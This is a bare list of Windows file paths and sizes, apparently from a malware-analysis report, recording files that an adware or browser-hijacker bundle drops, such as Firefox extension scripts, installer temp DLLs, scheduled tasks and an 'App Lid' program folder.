C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\91.js (6768 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\ef0ba38674a7ded763bc61958e5010a3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\2750a3390ce5fa7edc9b8baa86afd725.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\19e85f8178fa2b73754c98251a3ac9ca.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\432c00f0cb9a8ba43a27e50fbe1aa86d.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\9104a12b5ab7100d03859955cf1b846a.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a8765e534d1585c4513c21b46631eff0.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\f49d78de7fd982c0a23868d5286382e3.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins.json (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\a249c0d07eff2309cbd33826e6ddd304.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\e90a080f0789a66ea88a8a2110b85b21.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\1511f4028a328efd35704bae99b76a30.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\314a054c34856d7f6a50ec94f4a36682.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\4ce4c04ffe20e1388a80249b9d746ff2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\244.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\c72cb56a0fa8393e2c7d514ee2102995.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\796985dc3fae862c2c2e5da9dca97742.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\5b296796e83249ffdd871ec5b32d567a.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\46210dc42648ae8bba6ce51999460275.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\d76f1e435f697b3193f58f5deb090c75.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\9bc4121e1bbf9c1c7010484e339b5d98.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\eec817b90c2bcfed7a4669909eae1cf2.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b9aab23eca5557307a4b3106f6aec01f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\api\b209e6dfd92b4703eb985bb07034c5d8.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\extensionData\plugins\246.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\99a6bba1d1e51e3520947119c8ba05a4.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\Dbsuiszoxonm.exe (5619310 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\FacebookIsGod.dll (923 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp898A.tmp\Onvgw.tmp (456119 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f5dab3d74e316e46a59f4bd1d5099978[1].htm (30803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-mystartsearch[1].htm (4549 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3MVY8AVF.txt (286 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\eula[1].htm (1802 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.0 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT (1344 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\67IZDFCJ.txt (114 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-sourceapp[1].htm (4319 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ga[1].js (27098 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\796c42aebeb52f4eabf469c6ed8ad1c0[1].htm (40843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\eula-youtubeaccelerator[1].htm (2713 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.6 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.7 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.4 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.5 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.2 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.3 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F3NQDHIM.txt (546 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\vlc-2.0.2-win32.exe.1 (173869 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[1].png (4056 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_default_logo[1].png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\UZN0MMKR.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyoLightGrayStripesBG[1].jpg (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9FALLDOB.txt (686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\49e8eb8101569a41ad990f2a534d0e40[1].htm (29493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\tokyo_sprite_full[2].png (6573 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.1 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\ajax-bidl[1].htm (767 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (68471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.6 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.7 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.4 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.5 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.2 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.3 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BB3.tmp.0 (5224 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297796 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\NSISEncrypt.dll (3439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2F4A.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\255.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\21.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\41.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins.json (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\2c511d52-7693-4ed4-9079-996023e7571e-1.dll (33633 bytes)
%Program Files% (x86)\App Lid\2e557ab0-2598-41a4-9b03-eb21869ae6cc.exe (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\3.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\263.js (1 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-1.job (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\327655 (1510641 bytes)
C:\Windows\Tasks\f72568d9-a3ec-45be-93e0-9f4ce730882b.job (1560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\17.js (2392 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\182.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\242.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\14.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\78.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\180.js (1 bytes)
%Program Files% (x86)\App Lid\App Lid-bho.dll (5441 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\195.js (410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\manifest[1].xml (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\45.js (1 bytes)
%Program Files% (x86)\App Lid\f72568d9-a3ec-45be-93e0-9f4ce730882b.exe (32 bytes)
C:\Windows\Tasks\temp_f72568d9-a3ec-45be-93e0-9f4ce730882b.job (1026 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\ExecDos.dll (13 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\86b65daf-0d51-4998-a6fd-557fd718172b.crx (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\281.js (485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\1.js (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\39.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\md5dll.dll (14 bytes)
C:\Windows\Tasks\2c511d52-7693-4ed4-9079-996023e7571e-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\183.js (2 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e.xpi (2105 bytes)
%Program Files% (x86)\App Lid\1293297481.mxaddon (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.dll (3361 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\234.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\4.js (3312 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\262.js (1 bytes)
%Program Files% (x86)\App Lid\Newtonsoft.Json.dll (3073 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\40.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\220.js (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-buttonutil64.exe (2105 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\64.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\manifest.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\47.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\36.js (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\InstallerUtils2.dll (3726 bytes)
%Program Files% (x86)\App Lid\utils.exe (90899 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\104.js (921 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e.crx (1425 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\94.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\246.js (8 bytes)
%Program Files% (x86)\App Lid\App Lid-codedownloader.exe (7596 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\244.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\269.js (493 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\43.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\200.js (809 bytes)
%Program Files% (x86)\App Lid\WebSocket4Net.dll (64 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\InstallerUtils.dll (28527 bytes)
%Program Files% (x86)\App Lid\SuperSocket.ClientEngine.Protocol.dll (19 bytes)
%Program Files% (x86)\App Lid\background.html (729 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\2.js (63 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\72.js (1552 bytes)
%Program Files% (x86)\App Lid\App Lid-bho64.dll (7385 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\37.js (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\184.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\9.js (2 bytes)
%Program Files% (x86)\App Lid\Interop.IWshRuntimeLibrary.dll (53 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\StdUtils.dll (30 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-5.exe (7547 bytes)
%Program Files% (x86)\App Lid\2c511d52-7693-4ed4-9079-996023e7571e-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\93.js (953 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\44.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsg8F46.tmp\{D7B10B6A-D2AC-46A9-B6C1-063DAABEFF5A}\plugins\301.js (1 bytes)
